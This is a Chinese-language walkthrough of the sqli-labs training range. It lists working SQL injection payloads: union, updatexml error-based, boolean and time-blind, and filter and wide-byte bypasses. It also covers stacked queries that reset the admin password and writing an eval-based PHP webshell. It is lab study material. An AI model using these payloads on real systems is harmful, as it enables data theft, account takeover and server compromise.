目录
环境搭建
显错SQL注入基本步骤(以Less-1为例)
1)判断类型
2)构造闭合
3)查询字段数
4)显位
5)爆库
6)爆表
7)爆列
8)爆值
Less-2
Less-3
Less-4
Less-5
updatexml报错
Less-6
Less-7
写马
Less-8
布尔盲注
1)猜解库名长度
2)猜解库名
3)猜解表名
4)猜解列名
Less-9
时间盲注
1)猜解库名长度
2)猜解库名
3)猜解表名
4)猜解列名
Less-10
Less-11
Less-12
Less-13
Less-14
Less-15
Less-16
Less-17
Less-18(由于自身环境问题 一直到22题都没有做完)
请求头注入
Less-23
注释过滤
Less-24
二次注入
Less-25
and or过滤
双写绕过
Less-26
and or 注释 空格 换行过滤
Less-27
Less-28
Less-29
参数污染
Less-30
Less-31
Less-32
宽字节逃逸注入
Less-33
Less-34
Less-35
Less-36
Less-37
Less-38
堆叠注入
Less-39
Less-40
Less-41
Less-42
堆叠注入和update报错
Less-43
Less-44
Less-45
Less-46
Less-47
Less-48
Less-49
Less-50
堆叠写马
Less-51
Less-52
Less-53
Less-54~Less-64
详细环境搭建参考 sql-labs靶场环境搭建(手把手教你如何搭建)_BetterDream的博客-CSDN博客_sql靶场搭建
上述教程出现问题时 再参考这个 搭建sqli-labs遇到的问题_学习渗漏的小东的博客-CSDN博客
环境搭建完成后进入题目
接下来正式开始SQL注入!
进入页面后 提示输入带有参数的id值
在url网址中进行输入 sql/Less-1/?id=1 查看回显
?id=1 and 1=2
均未报错 初步判断字符型注入
?id=1' and 1=1
发现报错
字符型注入因为有''的缘故 需要构造闭合
?id=1' and 1=1 -- q (--用来注释本行 空格加q防止--被浏览器不执行)
成功闭合
这里用对分查找思想
?id=1' order by 1 -- q
?id=1' order by 5 -- q
?id=1' order by 3 -- q
?id=1' order by 4 -- q
得出字段数为3
?id=1' union select 1,2,3 -- q
此时发现 虽然没有报错 但是并没有得到回显位置
这是因为id=1的查询结果覆盖了回显 只需要将id查询的值调整一下 这里我改为100
成功回显
?id=100' union select 1,2,database() -- q
得到数据库名 security
?id=100' union select 1,2,table_name from information_schema.tables where table_schema='security' -- q
?id=100' union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails' -- q
?id=100' union select 1,2,id from emails -- q
1)判断类型
and 1=1
and 1=2
判断为数字型注入
2)查询字段数
order by 3
order by 4
字段数为3
3)显位
union select 1,2,3 (id值改为100防止覆盖 后续题目有被数据覆盖时就不再特意表明了)
4)爆库
union select 1,2,database()
5)爆表
union select 1,2,table_name from information_schema.tables where table_schema='security'
6)爆列
union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails'
7)爆值
union select 1,2,id from emails
1)判断类型
and 1=1
and 1=2
' and 1=2
判断为字符型注入
2)构造闭合
注意到报错信息中的信息
回推sql语句为
select * from * where id=(' ')
根据语句构造payload
1') and 1=1 -- q
没有报错说明闭合成功
3)显位
union select 1,2,3
4)爆库
union select 1,2,database()
5)爆表
union select 1,2,table_name from information_schema.tables where table_schema='security'
6)爆列
union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails'
7)爆值
union select 1,2,id from emails
1)判断类型
and 1=1
and 1=2
初步判断为字符型注入
" and 1=2
字符型注入
2)构造闭合
注意报错信息
回推SQL语句为
select * from * where id=(" ")
根据语句构造payload
") and 1=1 -- q
3)查询字段数
order by 3
order by 4
4)显位
union select 1,2,3
5)爆库
union select 1,2,database()
6)爆表
union select 1,2,table_name from information_schema.tables where table_schema='security'
7)爆列
union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails'
8)爆值
union select 1,2,id from emails
1)判断类型
and 1=1
and 1=2
' and 1=2
字符型注入
2)构造闭合
' and 1=1 -- q
3)查询字段数
order by 3
order by 4
4)显位
union select 1,2,3
发现即使调整了id的值 并没有产生回显点
没有显错位的注入 可以考虑从盲注入手
但这里先不采用盲注 用另一种报错信息方式updatexml来回显
updatexml(xml_doument,XPath_string,new_value) 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据
格式简化 updatexml(xx,concat(xx),xx)
concat函数用来拼接字符
把第二个参数改为非xpath格式 就会报错 但报错的信息是什么呢?
他会把校验失败的数据爆出来
第一个和第二个参数可以随便写 因为我们需要的是第二个参数的报错信息
5)爆库
清楚以上之后 接下来继续做题
既然没有回显点 那我们就构造updatexml语句
updatexml(1,concat('!',database(),'!'),1)
concat中的 ! 就是错误格式 会导致报错
6)爆表
updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1)
limit 0,1 用来查询从第0位开始往后一位的数值
7)爆列
updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1)
8)爆值
updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1)
1)判断类型
and 1=1
and 1=2
" and 1=2
2)构造闭合
" and 1=1 -- q
3)查询字段数
order by 3
order by 4
4)爆库
updatexml(1,concat('!',database(),'!'),1)
5)爆表
updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1)
6)爆列
updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1)
7)爆值
updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1)
本题和以上题目解法不一样 涉及到一句话木马内容
前面判断和构造闭合就不重复了 重点讲后半部分
闭合为 ?id=1')) -- q
查询字段数
order by 3
order by 4
字段数为3
先检查mysql的配置文件my.ini 是否设置secure这一条 经过实测 设置完成后需要重启电脑才能生效 这是phpstudy的一个小bug
判断完字段数后就进行写马
此语句用法就是将2位置构造函数的数据输出到自己创建的文件shell.php中
放入url中执行
代码如下 具体后面的文件路径按自己实际情况来编写 不要照搬我的路径
虽然页面报错 但是打开Less-7的文件夹 发现多了shell.php文件
打开文件
eval会将()中的内容当作php代码进行执行
$_REQUEST用来接受POST GET COOKIE传参
实例
url中输入 sql/Less-7/shell.php?1=phpinfo();
?代表传参 后面1=phpinfo();就是传参的值
再之后就可以利用sql登入工具 进入到后台 取得服务器的权限
按显错步骤往下做的时候发现 此题根本没有显错位 这个时候就可以利用盲注的方式去尝试
步骤
接下来进行盲注解析
用对分查找思想
and length(database())>1
and length(database())>10
and length(database())>5
and length(database())>7
and length(database())>8
字段数为8
猜解库名就需要用到ASCII码
对照ASCII码进行逐字猜解
猜解时可以参考命名规则 MySQL命名规范_卫星恋天的博客-CSDN博客_mysql命名规范 提高效率
(ascii(substr(database(),1,1)))=115 返回正常,说明数据库名称第一位是s
(ascii(substr(database(),2,1)))=101 返回正常,说明数据库名称第一位是e
以此类推
(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 如果返回正常 说明数据库表名的第一个的第一位是e
以此类推
(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105 如果返回正常 说明emails表中的列名的第一位是i
同样按照盲注的手法,尝试后发现这里无论输入什么条件,回显的结果都是一个,这就证明无法用布尔盲注的做法了,要尝试使用时间盲注
语法格式 if(xx,sleep(),1)
if用来判断条件是否成立 当第一个条件满足时 会执行第二个条件
sleep用来延长页面显示时间 当第一个条件成立时 页面会延长显示时间
1' and if(length(database())=8,sleep(5),1) -- q
页面延时五秒显示 库名长度为8
if((ascii(substr(database(),1,1))=115),sleep(5),1)
页面演示五秒显示 库名第一个字符为s
以此类推
if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1)
if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1)
此题做法与之前一样 只是闭合的区别
1" and if(length(database())=8,sleep(5),1) -- q
后面步骤不再重复
首先能发现,此题的传参方式是和以往是不相同的,这次变成了post传参,但他们的注入方式是差不多的
直接在username输入框中输入构造的payload
小技巧:尝试万能闭合:'or 1=1 -- q
1)查询字段数
'or 1=1 order by 2 -- q
'or 1=1 order by 3 -- q
字段数为2
2)显位
'union select 1,2 -- q
3)爆库
'union select 1,database() -- q
4)爆表
'union select 1,table_name from information_schema.tables where table_schema='security' -- q
5)爆列
'union select 1,column_name from information_schema.columns where table_schema='security' and table_name='emails' -- q
6)爆值
'union select 1,id from emails -- q
此题只是构造闭合的区别
") or 1=1 -- q
后续步骤不再重复
此题采用 updataxml报错注入
1)爆库
')or updatexml(1,concat('!',(select database()),'!'),1) -- q
2)爆表
')or updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1) -- q
3)爆列
')or updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1) -- q
4)爆值
')or updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1) -- q
此题也是做法一样 只是闭合的区别
此题闭合为 "or 1=1 -- q
后续步骤不再重复
此题没有报错点 因此用盲注的做法
此题闭合为 'or 1=1 -- q
后续步骤不再重复
此题采用盲注做法
此题闭合为 ")or 1=1 -- q
后续步骤不再重复
此题采用updataxml报错方法
此题闭合为 'or 1=1 -- q
需要注意的是此题传参的地方在password 所以需要在下面的输入框输入payload 上面的随意
'or updatexml(1,concat('!',(select database()),'!'),1) -- q
此题很明显能看到ip地址的显示 自然而然的想到注入点在请求头部分
用burp抓包分析 根据上图在请求头部分进行注入
对User-Agent进行注入
截取到如下数据包
发送至重发器repeater 在重发器User-Agent中修改语句
'and updatexml(1,concat('!',(select database()),'!'),1) -- q
点击go 发现页面并没有变化
这是为什么呢? 打开源码进行分析
可以看到这条语句中 不止传参了User-agent 对后面两个参数也进行了传递
所以原来的payload只闭合了前面User-agent位置 后面两个参数并未闭合
根据以上 构造新的payload
' and updatexml(1,concat('!',(select database()),'!'),1),1,1)-- q
再次进行注入
//这里卡着了导致一直到22题都没有做
此题采用updataxml报错 与之前题目不同的是 之前的注释符号都被过滤了 包括 -- #
这时就需要在语句后半部分再构造一个闭合
源码分析:
select * from * where id='' (原语句)
select * from * where id='1' and 1=1 or '1'='1' 这样就成功构造了闭合 我们放入的语句是 1' and 1=1 or '1'='1
根据上述构造payload
1' and updatexml(1,concat('!',database(),'!'),1) or '1'='1
代入url中 成功爆库
后续步骤一样 不再重复
此题解法有变化
分析源码
在login.php中发现 如果对username进行构造闭合 可以形成二次注入
构造payload admin'#
语句就变成了
SELECT * FROM users WHERE username='admin‘# and password='$password'
后面password就被注释掉了
用admin'#进行注册 密码随意
注册之后登录admin’#
修改密码 修改完成之后退出登录
虽然创建的是admin'# 但是进行修改密码时 连同admin的密码也被修改了 因为我们登录时注释掉了admin的password验证
用admin进行登录 密码为刚才修改的新密码
登录成功
此题展示了二次注入的危害 黑客恶意登录时可能会对管理员admin进行密码修改的恶意操作造成巨大危害
此题有and or过滤
在构造闭合时 当输入and或or时 会发生报错
在错误信息中看到 and直接消失了
这时就需要用其他字符替换and和or
sql语法中 逻辑运算符&&等同and的用法 ||等同于or的用法
需要注意的是 直接在url中用&&替换and还是会报错 这时因为在url栏中&&还有其他含义(代表多个传参的意思) 此时需要对&&进行url编码
&&编码后为%26%26 代入到语句中 1'%26%26 1=1 -- q
页面正常回显
继续按updatexml报错注入的步骤做时 在爆表时会遇到报错 这是因为information中的or被识别 并且被替换成了空
但是此处并不能用or进行url编码替换的方式 因为这在sql语句中是并不成立的
这里特别有意思的应对方法是 将information改为infoorrmation
因为会过滤or 所以我们输入infoorrmation时会被自动改成information 从而绕过过滤
输入payload(注意将||转换url编码)
1' ||%20 updatexml(1,concat('!',(select table_name from infoorrmation_schema.tables where table_schema='security' limit 0,1),'!'),1) -- q
成功爆出表名
后续步骤不再重复
此题不仅在and和or进行了过滤 同时对注释符号进行过滤 还有空格和换行
不过做法还是基本不变 将被注释的地方用其他替换
空格注释 可以改为 %a0 %0a ()
url编码 || %20%7C%7C
&& %26%26
payload如下
1' && '1'='1 注释部分转换成url编码后 1"%20%7C%7C 1 %26%26 '1'='1
爆库名
|| updatexml(1,concat('!',(select(database())),'!'),1)||'1'='1
转换为url编码(空格用()代替)
%20%7C%7C updatexml(1,concat('!',(select(database())),'!'),1)%20%7C%7C '1'='1
成功爆库
爆表
|| updatexml(1,concat('!',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),'!'),1) || '1'='1
真的好长 这里我用group——concat输出table 实测的时候limit我搞不出闭合.......(我好菜)
爆列
这里的and用aandd代替
|| updatexml(1,concat('!',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='emails'))),'!'),1) || '1'='1
爆值
|| updatexml(1,concat('!',(select(group_concat(id))from(emails)),'!'),1)|| '1'='1
总结:千万千万要注意各个括号闭合以及过滤字符的转换!!!(我在做的时候各种对照前后括号闭合 差点没把我眼睛看花......) 太费眼睛和耐心了这题目
此题在原有过滤上对select union进行过滤
只需改一下大小写
|| updatexml(1,concat('!',(sElEcT(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),'!'),1) || '1'='1
此题在原有过滤上对select union进行过滤
这题也可以换盲注进行注入
判断数据库长度
')and(length(database())=8)||('1')=('1
后续步骤不再重复
此题用最开始的联合注入和显错就可以做
查阅相关资料发现 此题旨在尝试参数污染传参 第一个参数传给jsp处理 第二个参数传给php处理 从而绕过
?id=1&id=100' union select 1,2,3 -- q
此题也是尝试参数污染
和上题做法一模一样 闭合为 "
此题也是尝试参数污染
和上题做法一模一样 闭合为 ")
%df和\会组成繁体的運
payload: ?id=1 %df' and 1=1 -- q
在爆表名的时候 发现后面语句的单引号也被注释了
此时在后面语句中再进行宽字节绕过显然会发生语法错误 那就进行替换
'security' 改为database() 'emails'改为十六进制输入0x7573657273
爆表
?id=100 %df' union select 1,2,table_name from information_schema.tables where table_schema=database() -- q
爆列
?id=100 %df' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 -- q
爆值
?id=100 %df' union select 1,2,id from emails -- q
此题和上题注入步骤一样
区别是less32手动加转义 本题用了addslashes()函数 在下面这些预定义符号前加转义
单引号 ' 双引号 " 反斜杠 \ 空字符 NULL
此题再次发现反斜杠,利用之前所说的%df发现并没有效果
这是因为%df是url编码,这里我们可以通过汉字的方式去绕过,和%df类似,一些汉字的编码为一个三字节的编码,可以将三个字节拆开来看,前两个为一组,后面那个和\相编码为一个两字节绕过,从而单引号逃逸
payload: 汉' or 1=1 -- q
此题狡猾的很 根本不用构造闭合 直接union select查询就行了
union select 1,2,3 -- q 后续步骤不再重复
此题和32题做法一模一样 只不过运用的函数不同
?id=1 %df' and 1=1 -- q
后续步骤不再重复
此题做法和34题一样
payload: 汉' or 1=1 -- q
之后便可以输入查询语句直接查询想要的数据
payload: ?id=1';insert into users(id,username,password) values ('100','100','100') -- qwe
在数据库中查看结果
发现最后一行被插入了新值
此题和上题做法类似
payload: ?id=1;insert into users(id,username,password) values ('101','101','101') -- qwe
数据库中出现新值
payload: ?id=1');insert into users(id,username,password) values ('102','102','102') -- qwe
数据库中
payload:?id=1;insert into users(id,username,password) values ('104','104','104')%20 -- qwe
数据库中
本题除了堆叠注入 还可以运用updata报错
先用万能密码注入 发现在username处无法注入成功 在password中可以注入成功
payload: ' or 1=1 -- q
1)updatexml报错
退出登录后 输入payload: ' and updatexml(1,concat('!',database(),'!'),1) -- q
后续和updatexml报错步骤一样
2)堆叠注入
假设我们要利用admin管理员身份进行登录 可以利用堆叠注入构造payload
payload: 1';update security.users set password='123456' where username="admin"#
在password处输入payload 发现登录失败 问题不大 返回后用admin登录 密码为payload中构造的
登录成功!
此题只是闭合的区别 闭合为') or 1=1 -- q
此题只是闭合的区别 闭合为 ' or 1=1 -- q
此题也可以用盲注解
此题只是闭合的区别 闭合为 ') or 1=1 -- q
此题发现页面并不一样 提示用sort去查询
输入?sort=1
输入?sort=2
输入?sort=3
发现每次改变参数之后 表中数据位置会发生改变 分析之后得出参数值为多少就会对相应的字段进行排序 这和联合查询中的order by 用法相类似
之后可以用多种方式进行注入 这里我选择updatexml报错
?sort=1 and updatexml(1,concat('!',database(),'!'),1) -- q
此题只是闭合的区别
?sort=1' and updatexml(1,concat('!',database(),'!'),1) -- q
此题发现updatexml报错没有报错信息
用布尔盲注没有回显
那么直接用时间盲注
payload:?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),0)
等于115时页面回显时间延长 说明条件成立
大于115时 页面回显时间未延长 说明条件不成立
此题只是闭合的区别 闭合为 ?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0) -- q
payload: (按照自己的文件地址来写)
成功写马
赋值查询 成功回显phpinfo()
此题只是闭合的区别
payload:
此题和50题一模一样
因为此题没有报错点 也可以采用盲注
此题我又用了时间盲注(反正这几题来回切换手法)
payload:?sort=1 ' and if(length(database())=8,sleep(5),1) -- q
=8时回显延长
大于8时没有回显延长
从54题开始 每题有固定的输入次数 一旦超过次数 会刷新数据库数据
从这里开始 就是对整个sql靶场的复习了 后续就不再写步骤了